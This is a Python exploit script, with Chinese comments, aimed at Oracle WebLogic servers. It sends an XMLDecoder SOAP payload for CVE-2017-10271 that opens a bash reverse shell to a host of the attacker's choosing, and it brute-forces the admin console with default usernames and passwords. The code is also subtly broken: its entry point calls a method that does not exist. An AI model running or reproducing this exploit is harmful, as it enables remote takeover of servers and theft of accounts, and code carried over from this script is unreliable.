"""

暂时只试用于Linux，先试试用一下反弹shell  CVE-2017-10271的EXp

"""

import requests

import sys

class Weblogic :

    def __init__(self,host,port,url) :

        self.url=url

        self.host=host

        self.port=port

    def CVE_2017_10271_Shell(self):

        url=self.url+"/wls-wsat/CoordinatorPortType"

        port=self.port

        host=self.host

        header={"Accept":"*/*","Accept-Language":"en","User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Content-Type":"text/xml","Connection":"close","Host":self.url.replace("http://","")}

        data="""

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/{}/{} 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>""".format(self.host,self.port)

        Mikasa=requests.post(url,headers=header,data=data)

        print("请查看有没有获得Shell!!")

    def Shell_Cmd(self) :

        pass

    def Weak_Password(self):

        password=['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem','mary']

        url=self.url+"/console/j_security_check"

        for user in password :

            for pwd in password :

                data={"j_username":user,"j_password":pwd,"j_character_encoding":"UTF-8"}

                test=requests.post(url,data=data,allow_redirects=False,verify=False)

                if 'console' in test.text and 'LoginForm.jsp' not in test.text :

                    print("存在弱口令!!!!")

                    print("user:"+user+"   password:"+pwd)

                    exit()

if __name__=='__main__' :

    exp=Weblogic(sys.argv[3],sys.argv[4],sys.argv[1])

    if sys.argv[2]=="CVE_2017_10271_Shell":

        exp.Reverse_Shell()

    elif sys.argv[2]=="Cmd":

        pass

    elif sys.argv[2]=="Weak_Password" :

        exp.Weak_Password()

    else :

        print("去屎吧2333333")

    print("CVE-2018-2628以及CVE-2018-2894也要去试试看，自己暂时还写不出这两个的exp")